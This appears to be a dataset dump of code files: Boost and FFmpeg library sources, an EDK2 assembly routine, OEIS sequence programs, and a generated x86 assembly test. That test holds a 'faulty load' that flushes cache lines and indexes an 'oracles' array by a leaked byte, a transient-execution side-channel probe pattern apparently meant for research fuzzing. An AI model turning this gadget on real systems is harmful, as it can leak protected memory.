text stringlengths 1 1.05M |
|---|
/* boost random/shuffle_output.hpp header file
*
* Copyright Jens Maurer 2000-2001
* Distributed under the Boost Software License, Version 1.0. (See
* accompanying file LICENSE_1_0.txt or copy at
* http://www.boost.org/LICENSE_1_0.txt)
*
* See http://www.boost.org for most recent version including documentation.
*
* $Id: shuffle_output.hpp 52492 2009-04-19 14:55:57Z steven_watanabe $
*
* Revision history
* 2001-02-18 moved to individual header files
*/
#ifndef BOOST_RANDOM_SHUFFLE_OUTPUT_HPP
#define BOOST_RANDOM_SHUFFLE_OUTPUT_HPP
#include <iostream>
#include <algorithm> // std::copy
#include <cassert>
#include <carve/external/boost/config.hpp>
#include <carve/external/boost/limits.hpp>
#include <carve/external/boost/static_assert.hpp>
#include <carve/external/boost/cstdint.hpp>
#include <carve/external/boost/random/linear_congruential.hpp>
namespace boost {
namespace random {
// Carter Bays and S.D. Durham 1979
template<class UniformRandomNumberGenerator, int k,
#ifndef BOOST_NO_DEPENDENT_TYPES_IN_TEMPLATE_VALUE_PARAMETERS
typename UniformRandomNumberGenerator::result_type
#else
uint32_t
#endif
val = 0>
class shuffle_output
{
public:
typedef UniformRandomNumberGenerator base_type;
typedef typename base_type::result_type result_type;
BOOST_STATIC_CONSTANT(bool, has_fixed_range = false);
BOOST_STATIC_CONSTANT(int, buffer_size = k);
shuffle_output() : _rng() { init(); }
#if defined(BOOST_MSVC) && _MSC_VER < 1300
// MSVC does not implicitly generate the copy constructor here
shuffle_output(const shuffle_output & x)
: _rng(x._rng), y(x.y) { std::copy(x.v, x.v+k, v); }
#endif
template<class T>
explicit shuffle_output(T s) : _rng(s) { init(); }
explicit shuffle_output(const base_type & rng) : _rng(rng) { init(); }
template<class It> shuffle_output(It& first, It last)
: _rng(first, last) { init(); }
void seed() { _rng.seed(); init(); }
template<class T>
void seed(T s) { _rng.seed(s); init(); }
template<class It> void seed(It& first, It last)
{
_rng.seed(first, last);
init();
}
const base_type& base() const { return _rng; }
result_type operator()() {
// calculating the range every time may seem wasteful. However, this
// makes the information locally available for the optimizer.
result_type range = (max)()-(min)()+1;
int j = k*(y-(min)())/range;
// assert(0 <= j && j < k);
y = v[j];
v[j] = _rng();
return y;
}
result_type min BOOST_PREVENT_MACRO_SUBSTITUTION () const { return (_rng.min)(); }
result_type max BOOST_PREVENT_MACRO_SUBSTITUTION () const { return (_rng.max)(); }
static bool validation(result_type x) { return val == x; }
#ifndef BOOST_NO_OPERATORS_IN_NAMESPACE
#ifndef BOOST_RANDOM_NO_STREAM_OPERATORS
template<class CharT, class Traits>
friend std::basic_ostream<CharT,Traits>&
operator<<(std::basic_ostream<CharT,Traits>& os, const shuffle_output& s)
{
os << s._rng << " " << s.y << " ";
for(int i = 0; i < s.buffer_size; ++i)
os << s.v[i] << " ";
return os;
}
template<class CharT, class Traits>
friend std::basic_istream<CharT,Traits>&
operator>>(std::basic_istream<CharT,Traits>& is, shuffle_output& s)
{
is >> s._rng >> std::ws >> s.y >> std::ws;
for(int i = 0; i < s.buffer_size; ++i)
is >> s.v[i] >> std::ws;
return is;
}
#endif
friend bool operator==(const shuffle_output& x, const shuffle_output& y)
{ return x._rng == y._rng && x.y == y.y && std::equal(x.v, x.v+k, y.v); }
friend bool operator!=(const shuffle_output& x, const shuffle_output& y)
{ return !(x == y); }
#else
// Use a member function; Streamable concept not supported.
bool operator==(const shuffle_output& rhs) const
{ return _rng == rhs._rng && y == rhs.y && std::equal(v, v+k, rhs.v); }
bool operator!=(const shuffle_output& rhs) const
{ return !(*this == rhs); }
#endif
private:
void init()
{
#ifndef BOOST_NO_LIMITS_COMPILE_TIME_CONSTANTS
BOOST_STATIC_ASSERT(std::numeric_limits<result_type>::is_integer);
#endif
result_type range = (max)()-(min)();
assert(range > 0); // otherwise there would be little choice
if(static_cast<unsigned long>(k * range) <
static_cast<unsigned long>(range)) // not a sufficient condition
// likely overflow with bucket number computation
assert(!"overflow will occur");
// we cannot use std::generate, because it uses pass-by-value for _rng
for(result_type * p = v; p != v+k; ++p)
*p = _rng();
y = _rng();
}
base_type _rng;
result_type v[k];
result_type y;
};
#ifndef BOOST_NO_INCLASS_MEMBER_INITIALIZATION
// A definition is required even for integral static constants
template<class UniformRandomNumberGenerator, int k,
#ifndef BOOST_NO_DEPENDENT_TYPES_IN_TEMPLATE_VALUE_PARAMETERS
typename UniformRandomNumberGenerator::result_type
#else
uint32_t
#endif
val>
const bool shuffle_output<UniformRandomNumberGenerator, k, val>::has_fixed_range;
template<class UniformRandomNumberGenerator, int k,
#ifndef BOOST_NO_DEPENDENT_TYPES_IN_TEMPLATE_VALUE_PARAMETERS
typename UniformRandomNumberGenerator::result_type
#else
uint32_t
#endif
val>
const int shuffle_output<UniformRandomNumberGenerator, k, val>::buffer_size;
#endif
} // namespace random
// validation by experiment from Harry Erwin's generator.h (private e-mail)
typedef random::shuffle_output<
random::linear_congruential<uint32_t, 1366, 150889, 714025, 0>,
97, 139726> kreutzer1986;
} // namespace boost
#endif // BOOST_RANDOM_SHUFFLE_OUTPUT_HPP
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ReadMm1.Asm
;
; Abstract:
;
; AsmReadMm1 function
;
; Notes:
;
;------------------------------------------------------------------------------
.586
.model flat,C
.mmx
.code
;------------------------------------------------------------------------------
; UINT64
; EFIAPI
; AsmReadMm1 (
; VOID
; );
;------------------------------------------------------------------------------
AsmReadMm1 PROC
push eax
push eax
movq [esp], mm1
pop eax
pop edx
ret
AsmReadMm1 ENDP
END
|
// Boost.Geometry
// Copyright (c) 2014-2018, Oracle and/or its affiliates.
// Contributed and/or modified by Menelaos Karavelas, on behalf of Oracle
// Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle
// Licensed under the Boost Software License version 1.0.
// http://www.boost.org/users/license.html
#ifndef BOOST_GEOMETRY_ALGORITHMS_DETAIL_IS_VALID_INTERFACE_HPP
#define BOOST_GEOMETRY_ALGORITHMS_DETAIL_IS_VALID_INTERFACE_HPP
#include <sstream>
#include <string>
#include <boost/variant/apply_visitor.hpp>
#include <boost/variant/static_visitor.hpp>
#include <boost/variant/variant_fwd.hpp>
#include <boost/geometry/algorithms/dispatch/is_valid.hpp>
#include <boost/geometry/core/cs.hpp>
#include <boost/geometry/geometries/concepts/check.hpp>
#include <boost/geometry/policies/is_valid/default_policy.hpp>
#include <boost/geometry/policies/is_valid/failing_reason_policy.hpp>
#include <boost/geometry/policies/is_valid/failure_type_policy.hpp>
#include <boost/geometry/strategies/default_strategy.hpp>
#include <boost/geometry/strategies/intersection.hpp>
namespace boost { namespace geometry
{
namespace resolve_strategy
{
struct is_valid
{
template <typename Geometry, typename VisitPolicy, typename Strategy>
static inline bool apply(Geometry const& geometry,
VisitPolicy& visitor,
Strategy const& strategy)
{
return dispatch::is_valid<Geometry>::apply(geometry, visitor, strategy);
}
template <typename Geometry, typename VisitPolicy>
static inline bool apply(Geometry const& geometry,
VisitPolicy& visitor,
default_strategy)
{
// NOTE: Currently the strategy is only used for Areal geometries
typedef typename strategy::intersection::services::default_strategy
<
typename cs_tag<Geometry>::type
>::type strategy_type;
return dispatch::is_valid<Geometry>::apply(geometry, visitor, strategy_type());
}
};
} // namespace resolve_strategy
namespace resolve_variant
{
template <typename Geometry>
struct is_valid
{
template <typename VisitPolicy, typename Strategy>
static inline bool apply(Geometry const& geometry,
VisitPolicy& visitor,
Strategy const& strategy)
{
concepts::check<Geometry const>();
return resolve_strategy::is_valid::apply(geometry, visitor, strategy);
}
};
template <BOOST_VARIANT_ENUM_PARAMS(typename T)>
struct is_valid<boost::variant<BOOST_VARIANT_ENUM_PARAMS(T)> >
{
template <typename VisitPolicy, typename Strategy>
struct visitor : boost::static_visitor<bool>
{
visitor(VisitPolicy& policy, Strategy const& strategy)
: m_policy(policy)
, m_strategy(strategy)
{}
template <typename Geometry>
bool operator()(Geometry const& geometry) const
{
return is_valid<Geometry>::apply(geometry, m_policy, m_strategy);
}
VisitPolicy& m_policy;
Strategy const& m_strategy;
};
template <typename VisitPolicy, typename Strategy>
static inline bool
apply(boost::variant<BOOST_VARIANT_ENUM_PARAMS(T)> const& geometry,
VisitPolicy& policy_visitor,
Strategy const& strategy)
{
return boost::apply_visitor(visitor<VisitPolicy, Strategy>(policy_visitor, strategy),
geometry);
}
};
} // namespace resolve_variant
// Undocumented for now
template <typename Geometry, typename VisitPolicy, typename Strategy>
inline bool is_valid(Geometry const& geometry,
VisitPolicy& visitor,
Strategy const& strategy)
{
return resolve_variant::is_valid<Geometry>::apply(geometry, visitor, strategy);
}
/*!
\brief \brief_check{is valid (in the OGC sense)}
\ingroup is_valid
\tparam Geometry \tparam_geometry
\tparam Strategy \tparam_strategy{Is_valid}
\param geometry \param_geometry
\param strategy \param_strategy{is_valid}
\return \return_check{is valid (in the OGC sense);
furthermore, the following geometries are considered valid:
multi-geometries with no elements,
linear geometries containing spikes,
areal geometries with duplicate (consecutive) points}
\qbk{distinguish,with strategy}
\qbk{[include reference/algorithms/is_valid.qbk]}
*/
template <typename Geometry, typename Strategy>
inline bool is_valid(Geometry const& geometry, Strategy const& strategy)
{
is_valid_default_policy<> visitor;
return resolve_variant::is_valid<Geometry>::apply(geometry, visitor, strategy);
}
/*!
\brief \brief_check{is valid (in the OGC sense)}
\ingroup is_valid
\tparam Geometry \tparam_geometry
\param geometry \param_geometry
\return \return_check{is valid (in the OGC sense);
furthermore, the following geometries are considered valid:
multi-geometries with no elements,
linear geometries containing spikes,
areal geometries with duplicate (consecutive) points}
\qbk{[include reference/algorithms/is_valid.qbk]}
*/
template <typename Geometry>
inline bool is_valid(Geometry const& geometry)
{
return is_valid(geometry, default_strategy());
}
/*!
\brief \brief_check{is valid (in the OGC sense)}
\ingroup is_valid
\tparam Geometry \tparam_geometry
\tparam Strategy \tparam_strategy{Is_valid}
\param geometry \param_geometry
\param failure An enumeration value indicating that the geometry is
valid or not, and if not valid indicating the reason why
\param strategy \param_strategy{is_valid}
\return \return_check{is valid (in the OGC sense);
furthermore, the following geometries are considered valid:
multi-geometries with no elements,
linear geometries containing spikes,
areal geometries with duplicate (consecutive) points}
\qbk{distinguish,with failure value and strategy}
\qbk{[include reference/algorithms/is_valid_with_failure.qbk]}
*/
template <typename Geometry, typename Strategy>
inline bool is_valid(Geometry const& geometry, validity_failure_type& failure, Strategy const& strategy)
{
failure_type_policy<> visitor;
bool result = resolve_variant::is_valid<Geometry>::apply(geometry, visitor, strategy);
failure = visitor.failure();
return result;
}
/*!
\brief \brief_check{is valid (in the OGC sense)}
\ingroup is_valid
\tparam Geometry \tparam_geometry
\param geometry \param_geometry
\param failure An enumeration value indicating that the geometry is
valid or not, and if not valid indicating the reason why
\return \return_check{is valid (in the OGC sense);
furthermore, the following geometries are considered valid:
multi-geometries with no elements,
linear geometries containing spikes,
areal geometries with duplicate (consecutive) points}
\qbk{distinguish,with failure value}
\qbk{[include reference/algorithms/is_valid_with_failure.qbk]}
*/
template <typename Geometry>
inline bool is_valid(Geometry const& geometry, validity_failure_type& failure)
{
return is_valid(geometry, failure, default_strategy());
}
/*!
\brief \brief_check{is valid (in the OGC sense)}
\ingroup is_valid
\tparam Geometry \tparam_geometry
\tparam Strategy \tparam_strategy{Is_valid}
\param geometry \param_geometry
\param message A string containing a message stating if the geometry
is valid or not, and if not valid a reason why
\param strategy \param_strategy{is_valid}
\return \return_check{is valid (in the OGC sense);
furthermore, the following geometries are considered valid:
multi-geometries with no elements,
linear geometries containing spikes,
areal geometries with duplicate (consecutive) points}
\qbk{distinguish,with message and strategy}
\qbk{[include reference/algorithms/is_valid_with_message.qbk]}
*/
template <typename Geometry, typename Strategy>
inline bool is_valid(Geometry const& geometry, std::string& message, Strategy const& strategy)
{
std::ostringstream stream;
failing_reason_policy<> visitor(stream);
bool result = resolve_variant::is_valid<Geometry>::apply(geometry, visitor, strategy);
message = stream.str();
return result;
}
/*!
\brief \brief_check{is valid (in the OGC sense)}
\ingroup is_valid
\tparam Geometry \tparam_geometry
\param geometry \param_geometry
\param message A string containing a message stating if the geometry
is valid or not, and if not valid a reason why
\return \return_check{is valid (in the OGC sense);
furthermore, the following geometries are considered valid:
multi-geometries with no elements,
linear geometries containing spikes,
areal geometries with duplicate (consecutive) points}
\qbk{distinguish,with message}
\qbk{[include reference/algorithms/is_valid_with_message.qbk]}
*/
template <typename Geometry>
inline bool is_valid(Geometry const& geometry, std::string& message)
{
return is_valid(geometry, message, default_strategy());
}
}} // namespace boost::geometry
#endif // BOOST_GEOMETRY_ALGORITHMS_DETAIL_IS_VALID_INTERFACE_HPP
|
;******************************************************************************
;* MMX optimized discrete wavelet trasnform
;* Copyright (c) 2010 David Conrad
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* 51, Inc., Foundation Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "x86inc.asm"
SECTION_RODATA
pw_1: times 8 dw 1
pw_2: times 8 dw 2
pw_8: times 8 dw 8
pw_16: times 8 dw 16
pw_1991: times 4 dw 9,-1
section .text
; %1 -= (%2 + %3 + 2)>>2 %4 is pw_2
%macro COMPOSE_53iL0 4
paddw %2, %3
paddw %2, %4
psraw %2, 2
psubw %1, %2
%endm
; m1 = %1 + (-m0 + 9*m1 + 9*%2 -%3 + 8)>>4
; if %4 is supplied, %1 is loaded unaligned from there
; m2: clobbered m3: pw_8 m4: pw_1991
%macro COMPOSE_DD97iH0 3-4
paddw m0, %3
paddw m1, %2
psubw m0, m3
mova m2, m1
punpcklwd m1, m0
punpckhwd m2, m0
pmaddwd m1, m4
pmaddwd m2, m4
%if %0 > 3
movu %1, %4
%endif
psrad m1, 4
psrad m2, 4
packssdw m1, m2
paddw m1, %1
%endm
%macro COMPOSE_VERTICAL 1
; void vertical_compose53iL0(IDWTELEM *b0, IDWTELEM *b1, IDWTELEM *b2,
; int width)
cglobal vertical_compose53iL0_%1, 4,4,1, b0, b1, b2, width
mova m2, [pw_2]
.loop:
sub widthd, mmsize/2
mova m1, [b0q+2*widthq]
mova m0, [b1q+2*widthq]
COMPOSE_53iL0 m0, m1, [b2q+2*widthq], m2
mova [b1q+2*widthq], m0
jg .loop
REP_RET
; void vertical_compose_dirac53iH0(IDWTELEM *b0, IDWTELEM *b1, IDWTELEM *b2,
; int width)
cglobal vertical_compose_dirac53iH0_%1, 4,4,1, b0, b1, b2, width
mova m1, [pw_1]
.loop:
sub widthd, mmsize/2
mova m0, [b0q+2*widthq]
paddw m0, [b2q+2*widthq]
paddw m0, m1
psraw m0, 1
paddw m0, [b1q+2*widthq]
mova [b1q+2*widthq], m0
jg .loop
REP_RET
; void vertical_compose_dd97iH0(IDWTELEM *b0, IDWTELEM *b1, IDWTELEM *b2,
; IDWTELEM *b3, IDWTELEM *b4, int width)
cglobal vertical_compose_dd97iH0_%1, 6,6,5, b0, b1, b2, b3, b4, width
mova m3, [pw_8]
mova m4, [pw_1991]
.loop:
sub widthd, mmsize/2
mova m0, [b0q+2*widthq]
mova m1, [b1q+2*widthq]
COMPOSE_DD97iH0 [b2q+2*widthq], [b3q+2*widthq], [b4q+2*widthq]
mova [b2q+2*widthq], m1
jg .loop
REP_RET
; void vertical_compose_dd137iL0(IDWTELEM *b0, IDWTELEM *b1, IDWTELEM *b2,
; IDWTELEM *b3, IDWTELEM *b4, int width)
cglobal vertical_compose_dd137iL0_%1, 6,6,6, b0, b1, b2, b3, b4, width
mova m3, [pw_16]
mova m4, [pw_1991]
.loop:
sub widthd, mmsize/2
mova m0, [b0q+2*widthq]
mova m1, [b1q+2*widthq]
mova m5, [b2q+2*widthq]
paddw m0, [b4q+2*widthq]
paddw m1, [b3q+2*widthq]
psubw m0, m3
mova m2, m1
punpcklwd m1, m0
punpckhwd m2, m0
pmaddwd m1, m4
pmaddwd m2, m4
psrad m1, 5
psrad m2, 5
packssdw m1, m2
psubw m5, m1
mova [b2q+2*widthq], m5
jg .loop
REP_RET
; void vertical_compose_haar(IDWTELEM *b0, IDWTELEM *b1, int width)
cglobal vertical_compose_haar_%1, 3,4,3, b0, b1, width
mova m3, [pw_1]
.loop:
sub widthd, mmsize/2
mova m1, [b1q+2*widthq]
mova m0, [b0q+2*widthq]
mova m2, m1
paddw m1, m3
psraw m1, 1
psubw m0, m1
mova [b0q+2*widthq], m0
paddw m2, m0
mova [b1q+2*widthq], m2
jg .loop
REP_RET
%endmacro
; extend the left and right edges of the tmp array by %1 and %2 respectively
%macro EDGE_EXTENSION 3
mov %3, [tmpq]
%assign %%i 1
%rep %1
mov [tmpq-2*%%i], %3
%assign %%i %%i+1
%endrep
mov %3, [tmpq+2*w2q-2]
%assign %%i 0
%rep %2
mov [tmpq+2*w2q+2*%%i], %3
%assign %%i %%i+1
%endrep
%endmacro
%macro HAAR_HORIZONTAL 2
; void horizontal_compose_haari(IDWTELEM *b, IDWTELEM *tmp, int width)
cglobal horizontal_compose_haar%2i_%1, 3,6,4, b, tmp, w, x, w2, b_w2
mov w2d, wd
xor xq, xq
shr w2d, 1
lea b_w2q, [bq+wq]
mova m3, [pw_1]
.lowpass_loop:
movu m1, [b_w2q + 2*xq]
mova m0, [bq + 2*xq]
paddw m1, m3
psraw m1, 1
psubw m0, m1
mova [tmpq + 2*xq], m0
add xq, mmsize/2
cmp xq, w2q
jl .lowpass_loop
xor xq, xq
and w2q, ~(mmsize/2 - 1)
cmp w2q, mmsize/2
jl .end
.highpass_loop:
movu m1, [b_w2q + 2*xq]
mova m0, [tmpq + 2*xq]
paddw m1, m0
; shift and interleave
%if %2 == 1
paddw m0, m3
paddw m1, m3
psraw m0, 1
psraw m1, 1
%endif
mova m2, m0
punpcklwd m0, m1
punpckhwd m2, m1
mova [bq+4*xq], m0
mova [bq+4*xq+mmsize], m2
add xq, mmsize/2
cmp xq, w2q
jl .highpass_loop
.end:
REP_RET
%endmacro
INIT_XMM
; void horizontal_compose_dd97i(IDWTELEM *b, IDWTELEM *tmp, int width)
cglobal horizontal_compose_dd97i_ssse3, 3,6,8, b, tmp, w, x, w2, b_w2
mov w2d, wd
xor xd, xd
shr w2d, 1
lea b_w2q, [bq+wq]
movu m4, [bq+wq]
mova m7, [pw_2]
pslldq m4, 14
.lowpass_loop:
movu m1, [b_w2q + 2*xq]
mova m0, [bq + 2*xq]
mova m2, m1
palignr m1, m4, 14
mova m4, m2
COMPOSE_53iL0 m0, m1, m2, m7
mova [tmpq + 2*xq], m0
add xd, mmsize/2
cmp xd, w2d
jl .lowpass_loop
EDGE_EXTENSION 1, 2, xw
; leave the last up to 7 (sse) or 3 (mmx) values for C
xor xd, xd
and w2d, ~(mmsize/2 - 1)
cmp w2d, mmsize/2
jl .end
mova m7, [tmpq-mmsize]
mova m0, [tmpq]
mova m5, [pw_1]
mova m3, [pw_8]
mova m4, [pw_1991]
.highpass_loop:
mova m6, m0
palignr m0, m7, 14
mova m7, [tmpq + 2*xq + 16]
mova m1, m7
mova m2, m7
palignr m1, m6, 2
palignr m2, m6, 4
COMPOSE_DD97iH0 m0, m6, m2, [b_w2q + 2*xq]
mova m0, m7
mova m7, m6
; shift and interleave
paddw m6, m5
paddw m1, m5
psraw m6, 1
psraw m1, 1
mova m2, m6
punpcklwd m6, m1
punpckhwd m2, m1
mova [bq+4*xq], m6
mova [bq+4*xq+mmsize], m2
add xd, mmsize/2
cmp xd, w2d
jl .highpass_loop
.end:
REP_RET
%if ARCH_X86_64 == 0
INIT_MMX
COMPOSE_VERTICAL mmx
HAAR_HORIZONTAL mmx, 0
HAAR_HORIZONTAL mmx, 1
%endif
;;INIT_XMM
INIT_XMM
COMPOSE_VERTICAL sse2
HAAR_HORIZONTAL sse2, 0
HAAR_HORIZONTAL sse2, 1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x186c8, %rsi
lea addresses_normal_ht+0x5528, %rdi
nop
nop
add %rdx, %rdx
mov $78, %rcx
rep movsq
nop
nop
nop
xor %r15, %r15
lea addresses_normal_ht+0x8e1d, %r12
nop
nop
nop
nop
nop
xor %r15, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
and $0xffffffffffffffc0, %r12
vmovntdq %ymm7, (%r12)
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x113ae, %rsi
lea addresses_WT_ht+0xa5cc, %rdi
nop
nop
nop
sub %r11, %r11
mov $69, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rcx
lea addresses_D_ht+0xe068, %r15
nop
nop
nop
add %r11, %r11
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
and $0xffffffffffffffc0, %r15
vmovntdq %ymm7, (%r15)
nop
and $33174, %rdx
lea addresses_UC_ht+0x1cc28, %r11
nop
xor $28944, %r15
mov (%r11), %r12d
nop
xor %r11, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %r9
push %rbx
push %rdi
push %rsi
// Store
lea addresses_D+0x4728, %rdi
clflush (%rdi)
nop
nop
nop
and $29665, %r8
mov $0x5152535455565758, %r15
movq %r15, %xmm7
movaps %xmm7, (%rdi)
nop
nop
nop
sub $31979, %r8
// Store
lea addresses_normal+0x1e3c0, %r9
nop
sub $15773, %rsi
mov $0x5152535455565758, %rbx
movq %rbx, %xmm5
vmovntdq %ymm5, (%r9)
nop
nop
nop
nop
and $339, %r15
// Store
mov $0x228, %r9
nop
add %rbx, %rbx
movw $0x5152, (%r9)
nop
nop
nop
and %rbx, %rbx
// Store
lea addresses_normal+0xb028, %rbx
nop
nop
nop
nop
nop
cmp $15167, %r8
mov $0x5152535455565758, %rsi
movq %rsi, %xmm4
movups %xmm4, (%rbx)
nop
nop
nop
inc %r9
// Load
lea addresses_normal+0x171a8, %r8
nop
nop
nop
nop
nop
and $34599, %r15
mov (%r8), %di
add $8053, %rdi
// Faulty Load
lea addresses_normal+0x6828, %rsi
clflush (%rsi)
add %r15, %r15
movups (%rsi), %xmm7
vpextrq $0, %xmm7, %r13
lea oracles, %r9
and $0xff, %r13
shlq $12, %r13
mov (%r9,%r13,1), %r13
pop %rsi
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': True}}
{'34': 8381}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
; A244634: 27*n^2.
; 0,27,108,243,432,675,972,1323,1728,2187,2700,3267,3888,4563,5292,6075,6912,7803,8748,9747,10800,11907,13068,14283,15552,16875,18252,19683,21168,22707,24300,25947,27648,29403,31212,33075,34992,36963,38988,41067,43200,45387,47628,49923,52272,54675,57132,59643,62208,64827,67500,70227,73008,75843,78732,81675,84672,87723,90828,93987,97200,100467,103788,107163,110592,114075,117612,121203,124848,128547,132300,136107,139968,143883,147852,151875,155952,160083,164268,168507,172800,177147,181548,186003
pow $0,2
mul $0,27
|
; A117520: Triangular numbers for which the digital root is also a triangular number.
